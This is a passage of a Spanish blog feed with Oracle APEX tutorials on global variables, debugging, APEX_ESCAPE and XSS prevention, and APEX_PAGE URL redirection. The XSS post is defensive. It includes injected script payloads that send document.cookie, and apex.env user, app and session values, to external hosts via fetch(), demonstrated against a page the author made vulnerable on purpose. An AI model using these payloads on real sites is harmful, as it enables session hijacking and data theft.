<p>El paquete APEX_APPLICATION expone una serie de variables globales que reflejan el estado actual de la aplicación mientras se está ejecutando.</p>
<h3 id="heading-identidad-y-contexto-de-ejecucion">Identidad y contexto de ejecución</h3>
<ul>
<li><p>APEX_APPLICATION.G_FLOW_ID<br />  ID de la aplicación APEX actualmente en ejecución.</p>
</li>
<li><p>APEX_APPLICATION.G_FLOW_STEP_ID<br />  ID de la página actual dentro de la aplicación.</p>
</li>
<li><p>APEX_APPLICATION.G_USER<br />  Usuario autenticado en la sesión APEX.</p>
</li>
</ul>
<h3 id="heading-esquema-y-propietario">Esquema y propietario</h3>
<ul>
<li><p>APEX_APPLICATION.G_FLOW_OWNER<br />  Parsing schema de la aplicación.<br />  Puede referenciarse en SQL y PL/SQL usando #OWNER#.</p>
<p>  Cambiar este valor en tiempo de ejecución no modifica el parsing schema real.</p>
</li>
<li><p>APEX_APPLICATION.G_FLOW_SCHEMA_OWNER<br />  Propietario del esquema APEX que ejecuta la aplicación.</p>
</li>
</ul>
<h3 id="heading-flujo-y-control-de-ejecucion">Flujo y control de ejecución</h3>
<ul>
<li><p>APEX_APPLICATION.G_REQUEST<br />  Contiene el valor del REQUEST más reciente.<br />  Se utiliza para identificar qué botón o acción disparó el procesamiento.</p>
</li>
<li><p>APEX_APPLICATION.G_DEBUG<br />  Indica si el modo debug está activado (Yes / No).<br />  Cuando está activo, APEX registra información detallada del procesamiento.</p>
</li>
</ul>
<h3 id="heading-entorno-y-presentacion">Entorno y presentación</h3>
<ul>
<li><p>APEX_APPLICATION.G_BROWSER_LANGUAGE<br />  Idioma preferido del navegador del usuario.</p>
</li>
<li><p>APEX_APPLICATION.G_PRINTER_FRIENDLY<br />  Indica si la página se ejecuta en modo <strong>de vista de</strong> impresión.</p>
</li>
<li><p>APEX_APPLICATION.G_HOME_LINK<br />  URL de la página inicial de la aplicación.</p>
</li>
<li><p>APEX_APPLICATION.G_LOGIN_URL<br />  URL utilizada para redirigir a usuarios no autenticados.</p>
</li>
</ul>
<h3 id="heading-recursos-y-configuracion-tecnica">Recursos y configuración técnica</h3>
<ul>
<li><p>APEX_APPLICATION.G_IMAGE_PREFIX<br />  Ruta virtual al directorio de imágenes estándar de APEX.</p>
</li>
<li><p>APEX_APPLICATION.G_PROXY_SERVER<br />  Proxy configurado a nivel de aplicación.</p>
</li>
<li><p>APEX_APPLICATION.G_PUBLIC_USER<br />  Esquema Oracle utilizado por el DAD para conectarse a la base de datos.</p>
</li>
<li><p>APEX_APPLICATION.G_SYSDATE<br />  Fecha y hora del servidor de base de datos (DATE).</p>
</li>
</ul>
<h3 id="heading-variables-para-ajax-y-procesos-on-demand">Variables para AJAX y procesos On-Demand</h3>
<ul>
<li>APEX_APPLICATION.G_X01 … G_X10<br />  Variables utilizadas para intercambiar datos entre JavaScript y PL/SQL, muy comunes en procesos AJAX On-Demand.</li>
</ul>
<p>Ejemplo: el siguiente codigo lo podemos usar en un proceso, activar el debug y en el debug de APEX podremos ver los datos</p>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
APEX_DEBUG.ENABLE(p_level =&gt; APEX_DEBUG.C_LOG_LEVEL_INFO);
    apex_debug.message(
        '- Usuario: %s
        - App: %s 
        - Página: %s 
        - Schema: %s 
        - Propietario_Schema: %s 
        - Request: %s 
        - idioma_Naveg: %s 
        - HOME_LINK: %s 
        - G_LOGIN_URL: %s 
        - G_IMAGE_PREFIX: %s 
        - G_PROXY_SERVER: %s 
        - G_PUBLIC_USER: %s 
        - G_SYSDATE: %s ',
        apex_application.G_USER,
        APEX_APPLICATION.G_FLOW_ID,
        apex_application.G_FLOW_STEP_ID,
        APEX_APPLICATION.G_FLOW_OWNER,
        APEX_APPLICATION.G_FLOW_SCHEMA_OWNER,
        APEX_APPLICATION.G_REQUEST,
        APEX_APPLICATION.G_BROWSER_LANGUAGE,
        APEX_APPLICATION.G_HOME_LINK,
        APEX_APPLICATION.G_LOGIN_URL,
        APEX_APPLICATION.G_IMAGE_PREFIX,
        APEX_APPLICATION.G_PROXY_SERVER,
        APEX_APPLICATION.G_PUBLIC_USER,
        APEX_APPLICATION.G_SYSDATE
    );

<span class="hljs-keyword">END</span>;
</code></pre>
<p>RECUERDA QUE : <em>APEX_APPLICATION se procesa del lado del servidor, por eso necesita un submit para ejecutarse.</em></p>
<p>Al realizar submit de una pagina que tenga este codigo en un proceso obtendremos</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769447791392/81f66078-e339-44e4-84ee-64dcdc5eae11.png" alt class="image--center mx-auto" /></p>
<p>Si quieres aprender mas sobre APEX_DEBUG, descubre como te puede salvar la vida <a target="_blank" href="https://www.paraguayandev.com/depurando-tus-apps-en-oracle-apex-con-apexdebug">AQUI</a></p>
<h2 id="heading-conclusion">Conclusión</h2>
<p>APEX_APPLICATION es uno de esos paquetes que no se ven, pero sostienen todo el funcionamiento interno de Oracle APEX. Dominarlo te permite pasar de aplicaciones básicas a soluciones realmente profesionales y controladas.</p>
<p>Si trabajás seriamente con Oracle APEX, entender este API no es opcional: es una herramienta esencial para escribir código más robusto, claro y mantenible.</p>
<p>Hoy hablamos de las variables Globales si te parecio interesante, compartelo para llegar a mas DEV’s APEX y estate atento que en proximas ediciones estaremos hablando de Arrays G_Fnn, el procedimiento APEX_APPLICATION.HELP y APEX_APPLICATION.STOP_APEX_ENGINE.</p>
]]></content:encoded></item><item><title><![CDATA[Depurando tus apps de Oracle APEX con APEX_DEBUG]]></title><description><![CDATA[¿Alguna vez te has frustrado cuando tratas de encontrar un error en tu aplicación? Bueno, no estás solo. La buena noticia es que con APEX_DEBUG, no necesitas romperte la cabeza para resolver tus problemas; ¡puedes desbloquear tu nivel de depuración s...]]></description><link>https://www.paraguayandev.com/depurando-tus-apps-en-oracle-apex-con-apexdebug</link><guid isPermaLink="true">https://www.paraguayandev.com/depurando-tus-apps-en-oracle-apex-con-apexdebug</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[APEX Insights]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[debugging]]></category><category><![CDATA[DebuggingFeb]]></category><category><![CDATA[debug]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Mon, 26 Jan 2026 17:27:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1769448602903/65c4d3d1-2967-4f57-b9ff-b1fc4e2b0689.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>¿Alguna vez te has frustrado cuando tratas de encontrar un error en tu aplicación? Bueno, no estás solo. La buena noticia es que con APEX_DEBUG, no necesitas romperte la cabeza para resolver tus problemas; ¡puedes desbloquear tu nivel de depuración solucionar bug!</p>
<h2 id="heading-que-es-apexdebug-y-por-que-te-importa"><strong>¿Qué es</strong> APEX_DEBUG y por qué te importa?</h2>
<p>APEX_DEBUG : te permite analizar, entender y resolver los problemas de tu aplicación.</p>
<p>Con APEX_DEBUG, puedes registrar mensajes en diferentes niveles (INFO, WARN, ERROR) y ver exactamente qué está sucediendo en tu aplicación. Es como activar un radar de para detectar cualquier inconsistencia en tu código.</p>
<p>Por ejemplo:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
    APEX_DEBUG.MESSAGE(<span class="hljs-string">'El valor de l_variable es: '</span> || l_variable);
<span class="hljs-keyword">END</span>;
</code></pre>
<p>Con esto, puedes ver cómo evoluciona l_variable y resolver problemas antes de que te ataquen por sorpresa.</p>
<h2 id="heading-niveles-en-apexdebug"><strong>Niveles en</strong> APEX_DEBUG</h2>
<h3 id="heading-apexdebugmessage">APEX_DEBUG.MESSAGE</h3>
<p>Este es el modo estándar. Usa MESSAGE para rastrear variables y comprobar que todo fluye según lo esperado.</p>
<pre><code class="lang-sql">APEX_DEBUG.MESSAGE('El valor de l_variable es: ' || l_variable);
</code></pre>
<p><strong>¿Cuándo usarlo?</strong><br />Cuando necesitas confirmar que tu aplicación está en el camino correcto.</p>
<h3 id="heading-apexdebugerror">APEX_DEBUG.ERROR</h3>
<p>Si algo explota (y no de forma épica), es tu técnica definitiva para señalar el problema exacto.</p>
<pre><code class="lang-sql">APEX_DEBUG.ERROR('Error en proceso: ' || l_variable);
</code></pre>
<p><strong>¿Cuándo usarlo?</strong><br />Cuando necesitas marcar un error crítico que podría destruir tu puesto laboral. 🌍</p>
<h3 id="heading-apexdebugwarn">APEX_DEBUG.WARN</h3>
<p>A veces, algo no está del todo mal, pero tiene el potencial de causar problemas. Ahí es donde WARN entra en juego.</p>
<pre><code class="lang-sql">APEX_DEBUG.WARN('WARN del proceso: ' || l_variable);
</code></pre>
<p><strong>¿Cuándo usarlo?</strong><br />Cuando quieres adelantarte a un problema potencial, .</p>
<h3 id="heading-apexdebuginfo">APEX_DEBUG.INFO</h3>
<p>Este nivel es para cuando necesitas comprender el contexto general del proceso.Con INFO puedes obtener toda la información necesaria para unificar los detalles de tu proceso y hacer que todo funcione a la perfección.</p>
<pre><code class="lang-sql">APEX_DEBUG.INFO('info del proceso: ' || l_variable);
</code></pre>
<p><strong>¿Cuándo usarlo?</strong><br />Cuando necesitas entender la totalidad de lo que está ocurriendo y cómo los pequeños detalles se unen para lograr el gran objetivo.</p>
<h2 id="heading-como-activar-la-depuracion"><strong>¡Cómo activar la depuracion!</strong></h2>
<ol>
<li><p>Activa (debug=YES)</p>
<p> Asegúrate de agregar &amp;debug=YES en la URL de tu aplicación para habilitar la depuración.</p>
<p> Normalmente esta asi la URL</p>
</li>
</ol>
<ul>
<li><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453089977/fce3de40-6cb1-4dbf-8e99-029c224e9572.png" alt class="image--center mx-auto" /></p>
<p>  Y debe quedar asi</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453195640/b9b951f1-5644-4b72-924f-c204e4d25cda.png" alt class="image--center mx-auto" /></p>
<p>  Pero se puede hacer con otros pasos asi:</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453327209/0c3c05d8-5689-4824-89b5-65a34c764b39.png" alt class="image--center mx-auto" /></p>
<p>  2. Entrena estratégicamente</p>
<p>  Coloca mensajes en los puntos clave de tu código, como este ejemplo:</p>
</li>
</ul>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
    APEX_DEBUG.MESSAGE(<span class="hljs-string">'Iniciando proceso...'</span>);
    <span class="hljs-comment">-- Lógica principal</span>
    APEX_DEBUG.ERROR('¡Error crítico detectado!: ' || SQLERRM);
<span class="hljs-keyword">END</span>;
</code></pre>
<ol start="3">
<li><p>Analiza tu batalla</p>
<p> Usa la barra de desarrollador de APEX para revisar los mensajes y planear tu próximo movimiento.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453459746/571957ea-9091-4705-be2f-2a3296d5f577.png" alt class="image--center mx-auto" /></p>
<p> Al ingresar en “Ver Depuracion“ se nos abrira la siguiente ventana</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453547216/d4734652-f9e2-429c-a88b-c22b5c5d2d3b.png" alt class="image--center mx-auto" /></p>
</li>
</ol>
<p>Elegimos el ultimo debug</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453657440/11a4bef5-6532-4d0c-a1d5-6cd4629ec000.png" alt class="image--center mx-auto" /></p>
<p>Y se nos abrira otra ventana en donde podremos encontrar todos los mensajes que lance nuestro APEX_DEBUG.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732453746585/0c55e358-ccf7-4326-9cdd-086dcf7e216d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-por-que-apexdebug-es-la-herramienta-definitiva"><strong>¿Por qué</strong> APEX_DEBUG es la herramienta definitiva?</h2>
<p>- <strong>Resuelve problemas rápido</strong>: Encuentra errores más rápido.</p>
<p>-<strong>Control total</strong>: No dejas nada al azar; puedes rastrear cada detalle.</p>
<p><strong>Te sientes invencible</strong>: Porque sí, nada supera el poder de un depurador.</p>
<p>Cuando enfrentas bugs difíciles en producción , activa la depuración solo para tu sesión y evita que los demás lo vean:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">BEGIN</span>
    APEX_DEBUG.ENABLE;
<span class="hljs-keyword">END</span>;
</code></pre>
<p>¡Y desactívalo cuando termines, como el Dev responsable que eres!</p>
<h2 id="heading-conclusion">Conclusión</h2>
<p>Depurar en APEX no tiene por qué ser complicado. Con APEX_DEBUG, puedes desbloquear esta herramienta y convertirte en un maestro de la depuración. Así que, la próxima vez que un bug intente hacerte frente, recuerda: tú tienes el poder.</p>
]]></content:encoded></item><item><title><![CDATA[APEX_ESCAPE: ¿Proteges tus aplicaciones Oracle APEX contra XSS?]]></title><description><![CDATA[Cuando desarrollamos aplicaciones en Oracle APEX, solemos concentrarnos en la lógica del negocio, la experiencia de usuario y el rendimiento. Sin embargo, hay un aspecto crítico que muchas veces se pasa por alto hasta que es demasiado tarde: la segur...]]></description><link>https://www.paraguayandev.com/apexescape-proteges-tus-aplicaciones-oracle-apex-contra-xss</link><guid isPermaLink="true">https://www.paraguayandev.com/apexescape-proteges-tus-aplicaciones-oracle-apex-contra-xss</guid><category><![CDATA[Apex]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[APEX Insights]]></category><category><![CDATA[#ApexKetoACVGummiesBenefits]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[Oracle Cloud]]></category><category><![CDATA[seguridad-web]]></category><category><![CDATA[XSS]]></category><category><![CDATA[XSS Attacks]]></category><category><![CDATA[xssprotection]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Thu, 15 Jan 2026 16:34:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1768484528976/2dfb436f-9481-4f3c-8b9c-e073d52fe861.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cuando desarrollamos aplicaciones en <strong>Oracle APEX</strong>, solemos concentrarnos en la lógica del negocio, la experiencia de usuario y el rendimiento. Sin embargo, hay un aspecto crítico que muchas veces se pasa por alto hasta que es demasiado tarde: <strong>la seguridad</strong>, en particular la protección contra <strong>Cross-Site Scripting (XSS)</strong>.</p>
<p>Aquí es donde entra en juego el paquete APEX_ESCAPE, una herramienta clave para evitar que datos maliciosos se ejecuten como código en nuestras aplicaciones.</p>
<h2 id="heading-que-es-apexescape">¿Qué es APEX_ESCAPE?</h2>
<p><img src="https://i.pinimg.com/1200x/49/18/10/491810e4355bcbff66d5e4728804d2b0.jpg" alt="pienso 🤔" /></p>
<p>APEX_ESCAPE es un paquete PL/SQL provisto por Oracle APEX que permite escapar caracteres especiales antes de mostrar datos en la interfaz de usuario.</p>
<p>Basicamente:<br /><strong><em>convierte texto potencialmente peligroso en texto seguro para mostrar en HTML, JavaScript o URLs*</em></strong>.*</p>
<p>Esto evita que un usuario malintencionado inyecte código como:</p>
<pre><code class="lang-javascript">&lt;script&gt;alert(<span class="hljs-string">'hackeado'</span>)&lt;/script&gt;
</code></pre>
<p>y que dicho código se ejecute en el navegador de otro usuario.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768485449453/ad048d3c-93b2-4709-9639-da918f55c37f.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-por-que-es-tan-importante">¿Por qué es tan importante?</h2>
<p>Oracle APEX trabaja intensamente con datos ingresados por usuarios:</p>
<ul>
<li><p>Ítems de página</p>
</li>
<li><p>Formularios</p>
</li>
<li><p>Comentarios</p>
</li>
<li><p>Parámetros</p>
</li>
<li><p>Datos provenientes de tablas</p>
</li>
</ul>
<p>Si estos valores se muestran sin control, un atacante puede aprovecharlos para:</p>
<ul>
<li><p>Robar sesiones</p>
</li>
<li><p>Ejecutar acciones en nombre de otros usuarios</p>
</li>
<li><p>Modificar la interfaz</p>
</li>
<li><p>Exponer información sensible</p>
</li>
</ul>
<p><strong>APEX_ESCAPE es una de las primeras líneas de defensa contra XSS.</strong></p>
<p><img src="https://pbs.twimg.com/media/EXBEYDFWoAAecBr.jpg" alt="BeelPfeiffer Si van a tomar una birra, deben tener una frapera con onda" /></p>
<h2 id="heading-funciones-mas-utilizadas-de-apexescape">Funciones más utilizadas de APEX_ESCAPE</h2>
<h3 id="heading-1-apexescapehtml">1. APEX_ESCAPE.HTML</h3>
<p>Escapa texto para que sea seguro mostrarlo en HTML.</p>
<pre><code class="lang-sql">APEX_ESCAPE.HTML(:P1_COMENTARIO)
</code></pre>
<p>Convierte:</p>
<ul>
<li><p>&lt; en &lt;</p>
</li>
<li><p>\&gt; en &gt;</p>
</li>
<li><p>" en "</p>
</li>
</ul>
<p>Podemos probar este query</p>
<pre><code class="lang-sql"><span class="hljs-keyword">select</span> APEX_ESCAPE.HTML(<span class="hljs-string">'&lt;  &gt;  " '</span>) escap <span class="hljs-keyword">from</span> dual;
</code></pre>
<p>Esta seria su salida.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768486632715/5b99a2d4-969f-452d-b3aa-504dd225dd64.png" alt class="image--center mx-auto" /></p>
<p>Ideal para:</p>
<ul>
<li><p>Reportes</p>
</li>
<li><p>Regiones HTML</p>
</li>
<li><p>Labels dinámicos</p>
</li>
</ul>
<h3 id="heading-2-apexescapehtmlattribute">2. APEX_ESCAPE.HTML_ATTRIBUTE</h3>
<p>Pensada para valores que se insertan dentro de atributos HTML.</p>
<pre><code class="lang-sql">APEX_ESCAPE.HTML_ATTRIBUTE(:P1_TITULO)
</code></pre>
<p>Útil cuando se usa dentro de:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"&amp;P1_TITULO."</span>&gt;</span>
</code></pre>
<h3 id="heading-3-apexescapejsliteral">3. APEX_ESCAPE.JS_LITERAL</h3>
<p>Escapa valores que serán utilizados dentro de código JavaScript.</p>
<pre><code class="lang-sql">APEX_ESCAPE.JS_LITERAL(:P1_MENSAJE)
</code></pre>
<p>Fundamental cuando se concatenan valores dinámicos en scripts.</p>
<h2 id="heading-ejemplos">Ejemplos</h2>
<p>Supongamos que un usuario guarda este comentario:</p>
<pre><code class="lang-sql">&lt;b&gt;Hola&lt;/b&gt;&lt;script&gt;alert('XSS')&lt;/script&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768487846949/68edc0a2-312f-47d0-acde-0865aaa6215f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768487851521/c67fbaad-5170-4207-ae79-fa0818a6af7e.png" alt class="image--center mx-auto" /></p>
<p>Si lo mostramos directamente:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">select</span> feedback
<span class="hljs-keyword">from</span> apex_team_feedback f
</code></pre>
<p><strong>El script se ejecutará.</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768487966354/3f0c129c-86c9-4fd9-b10e-69b0c408148f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768487968023/605abc73-4770-4651-9824-86e99a12f8b3.png" alt class="image--center mx-auto" /></p>
<p>Pero si usamos:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">select</span> APEX_ESCAPE.HTML(feedback)feedback
<span class="hljs-keyword">from</span> apex_team_feedback f
</code></pre>
<p>El navegador mostrará el texto sin ejecutar nada peligroso.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768488532019/61f825aa-59d8-49b5-bc89-538fd24b1feb.png" alt class="image--center mx-auto" /></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=45A_9y1ClAQ">https://www.youtube.com/watch?v=45A_9y1ClAQ</a></div>
<p> </p>
<h2 id="heading-ejemplo-de-xss-con-robo-de-sesion">Ejemplo de XSS con robo de sesión</h2>
<p>Supongamos que un atacante logra inyectar este texto como comentario o descripción:</p>
<pre><code class="lang-sql">&lt;script&gt;
  fetch('https://sitio-externo/collect?c=' + document.cookie);
&lt;/script&gt;
</code></pre>
<p><strong>¿Qué intenta hacer este código?</strong><br />(No cómo hacerlo, sino <strong>qué pasaría si se ejecuta</strong>)</p>
<ul>
<li><p>Accede a <code>document.cookie</code></p>
</li>
<li><p>Extrae cookies de sesión</p>
</li>
<li><p>Las envía a un servidor externo</p>
</li>
<li><p>Permite:</p>
<ul>
<li><p>Secuestro de sesión</p>
</li>
<li><p>Suplantación de usuario</p>
</li>
<li><p>Acceso a datos privados</p>
</li>
</ul>
</li>
</ul>
<p>En una app APEX con autenticación por cookies, esto puede ser <strong>crítico</strong>.</p>
<p>Para este ejemplo en particular, cree una api que recibe como parametro “CAMPO1“ y lo <strong>inyeccte en este</strong> script asi</p>
<pre><code class="lang-sql">&lt;script&gt;
fetch('https://oracleapex.com/ords/maximo/xss/xss?campo1=' + apex.env.APP_USER);
&lt;/script&gt;
</code></pre>
<p>La pagina intencionalmente vulnerable ejecuta el codigo y obtengo el dato del usuario</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768490994083/bac352f6-698c-4a80-acab-43cef7c82e79.png" alt class="image--center mx-auto" /></p>
<p>o si se usa este otro codigo</p>
<pre><code class="lang-javascript">&lt;script&gt;
  <span class="hljs-keyword">var</span> x =
    <span class="hljs-string">'APP_USER: '</span> + apex.env.APP_USER + <span class="hljs-string">' | '</span> +
    <span class="hljs-string">'APP_ID: '</span> + apex.env.APP_ID + <span class="hljs-string">' | '</span> +
    <span class="hljs-string">'APP_PAGE_ID: '</span> + apex.env.APP_PAGE_ID + <span class="hljs-string">' | '</span> +
    <span class="hljs-string">'APP_SESSION: '</span> + apex.env.APP_SESSION ;
  fetch(
    <span class="hljs-string">'https://oracleapex.com/ords/maximo/xss/xss?campo1='</span> +
    <span class="hljs-built_in">encodeURIComponent</span>(x)
  );
&lt;/script&gt;
</code></pre>
<p>Se puede obtener otros datos igual de sensibles.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1768493881771/09cb23e5-4ed4-42b5-9f50-f2e9105cf02b.png" alt class="image--center mx-auto" /></p>
<p>Si estos datos se pueden obtener, se podrian obtner otros, aun mas sensibles.</p>
<h2 id="heading-cuando-debo-usar-apexescape">¿Cuándo debo usar APEX_ESCAPE?</h2>
<p>Regla práctica:</p>
<blockquote>
<p><strong>Siempre que muestres datos dinámicos que no controlas al 100%</strong></p>
</blockquote>
<p>Especial atención en:</p>
<ul>
<li><p>Regiones HTML</p>
</li>
<li><p>PL/SQL dinámico</p>
</li>
<li><p>JavaScript dinámico</p>
</li>
<li><p>Links generados manualmente</p>
</li>
<li><p>htp.p, htf.print, sys.htp</p>
</li>
</ul>
<h2 id="heading-apex-no-escapa-automaticamente">¿APEX no escapa automáticamente?</h2>
<p><img src="https://pbs.twimg.com/media/EWLZXtNUMAIM5lb.jpg" alt="Armando Barrera (@odioapancho) on X" /></p>
<p>Sí… <strong>a veces</strong>.</p>
<p>Oracle APEX escapa automáticamente en muchos componentes declarativos (reportes clásicos, interactivos, ítems estándar), <strong>pero no en todos los casos</strong>, especialmente cuando:</p>
<ul>
<li><p>Usas PL/SQL</p>
</li>
<li><p>Generas HTML manualmente</p>
</li>
<li><p>Construyes JavaScript dinámico</p>
</li>
<li><p>Desactivas el escape en columnas</p>
</li>
</ul>
<p>Por eso, conocer y usar APEX_ESCAPE es fundamental.</p>
<h2 id="heading-buenas-practicas">Buenas prácticas</h2>
<ul>
<li><p>Escapar <strong>al mostrar</strong>, no al guardar.</p>
</li>
<li><p>Usar la función adecuada según el contexto (HTML, JS, URL).</p>
</li>
<li><p>No confiar ciegamente en el escape automático.</p>
</li>
<li><p>Revisar código legado.</p>
</li>
<li><p>Combinar con validaciones y controles de acceso.</p>
</li>
</ul>
<h2 id="heading-conclusion">Conclusión</h2>
<p>APEX_ESCAPE no es solo un paquete más:<br />es una <strong>herramienta esencial para desarrollar aplicaciones Oracle APEX seguras</strong>.</p>
<p>Dominar su uso te permite:</p>
<ul>
<li><p>Evitar vulnerabilidades XSS</p>
</li>
<li><p>Proteger a tus usuarios</p>
</li>
<li><p>Cumplir buenas prácticas de seguridad</p>
</li>
<li><p>Dormir más tranquilo</p>
</li>
</ul>
<p>Si trabajas con APEX y aún no lo usas conscientemente, <strong>este es el momento de incorporarlo a tu estándar de desarrollo</strong>.</p>
<p>¿Te gustó este contenido? Dejá un comentario, compartilo con tu equipo o Invitame un cafe.</p>
<p>Nos leemos luego</p>
<p><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTwIVK7yiCVl1R2Q0ZAgcBVAQc12dy9dpiA9A&amp;s" alt="Lasang | Skate #cats #kitty #catmemes #catto | Instagram" /></p>
<div class="hn-embed-widget" id="devs"></div>]]></content:encoded></item><item><title><![CDATA[APEX_PAGE en Oracle APEX: Redirección, cache y control de páginas.]]></title><description><![CDATA[Cuando desarrollamos aplicaciones en Oracle APEX, interactuar con páginas, items, procesos y navegación mediante la interfaz gráfica. Pero, cuando necesitamos un control más avanzado, Oracle nos ofrece un paquete muy poderoso: APEX_PAGE.
Esto nos per...]]></description><link>https://www.paraguayandev.com/apexpage-en-oracle-apex-redireccion-cache-y-control-de-paginas</link><guid isPermaLink="true">https://www.paraguayandev.com/apexpage-en-oracle-apex-redireccion-cache-y-control-de-paginas</guid><category><![CDATA[oraclee]]></category><category><![CDATA[Apex]]></category><category><![CDATA[APIs]]></category><category><![CDATA[apex.world]]></category><category><![CDATA[Apex Tips]]></category><category><![CDATA[APEX Insights]]></category><category><![CDATA[#ApexKetoACVGummiesIngredients]]></category><category><![CDATA[Oracle]]></category><category><![CDATA[#oracle-apex]]></category><category><![CDATA[Oracle Cloud]]></category><category><![CDATA[Desarrollo Web]]></category><dc:creator><![CDATA[Cristhian Cano Bogado]]></dc:creator><pubDate>Mon, 08 Dec 2025 21:05:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765227788926/23364f6f-87c8-44fe-9809-c61e9f50132a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cuando desarrollamos aplicaciones en Oracle APEX, interactuar con páginas, items, procesos y navegación mediante la interfaz gráfica. Pero, cuando necesitamos un control más avanzado, Oracle nos ofrece un paquete muy poderoso: APEX_PAGE.</p>
<p>Esto nos permite trabajar con la <strong>página actual</strong> o <strong>otras páginas</strong> desde PL/SQL, pudiendo consultar atributos, construir URLs dinámicas, o limpiar caché, entre otras funciones.</p>
<p>En este artículo te muestro <strong>qué hace realmente</strong> APEX_PAGE y cómo podés aplicarla en escenarios reales.</p>
<h1 id="heading-que-es-apexpage">¿Qué es APEX_PAGE?</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764162089091/13588a79-619d-4170-9c40-b7f442cb3d61.jpeg" alt class="image--center mx-auto" /></p>
<p>APEX_PAGE es un paquete PL/SQL que expone funcionalidades internas de APEX relacionadas a:</p>
<ul>
<li><p>Información de la página actual</p>
</li>
<li><p>Navegación entre páginas</p>
</li>
<li><p>Modo de operación de la página</p>
</li>
<li><p>Detección de interfaz (Desktop vs Mobile)</p>
</li>
<li><p>Manejo de caché</p>
</li>
<li><p>Construcción de URLs seguras</p>
</li>
</ul>
<p>Es especialmente útil cuando querés controlar el comportamiento de una página desde PL/SQL.</p>
<h3 id="heading-ejemplo-1-crear-una-url-dinamica-y-redirigir-hacia-otra-pagina-usando-plsql-geturl">Ejemplo 1: <strong>Crear una URL dinámica y redirigir hacia otra página usando PLSQL (</strong>GET_URL<strong>).</strong></h3>
<p>Cuando necesitás enviar al usuario a otra página con parámetros, o generar enlaces para emails o notificaciones, APEX_PAGE.GET_URL simplifica todo.</p>
<h3 id="heading-utilizando-el-siguiente-codigo-en-un-proceso-podemos-generar-una-url-para-redirigur-a-la-pagina-24-con-valores-de-items">Utilizando el siguiente codigo en un proceso podemos generar una URL para redirigur a la página 24 con valores de ítems.</h3>
<pre><code class="lang-sql"><span class="hljs-keyword">DECLARE</span>
    l_url <span class="hljs-built_in">VARCHAR2</span>(<span class="hljs-number">4000</span>);
<span class="hljs-keyword">BEGIN</span>
    l_url := apex_page.get_url(
        p_page        =&gt; <span class="hljs-number">24</span>,<span class="hljs-comment">--Puede ser dinamico y no en durango, se puede definir una variable o un item :P23_nro_pagi_dest</span>
        p_clear_cache =&gt; <span class="hljs-string">'24'</span>,
        p_items       =&gt; <span class="hljs-string">'P24_ID,P24_MODE'</span>,<span class="hljs-comment">--Lista de los items de la página destino que recibirán valores. Deben existir en la página 24.</span>
        p_values      =&gt; :P23_ID||<span class="hljs-string">','</span>||:P23_MODO,<span class="hljs-comment">--Valores que se enviarán a los items definidos en p_items. Provienen de los items de la página actual (23).</span>
        p_session     =&gt; :APP_SESSION
    );

    apex_util.redirect_url(l_url);
<span class="hljs-keyword">END</span>;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765223586357/4eb2f517-21cd-47f4-a1a4-4b8dcb1cb030.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765223592945/eeb51504-60c3-4b16-903b-ab1594eec645.png" alt class="image--center mx-auto" /></p>
<p>En este ejemplo, tenemos en la pagina 23, los item´s “ID“ y “MODO“, cuyos valores vamos a enviar a la pagina 24.</p>
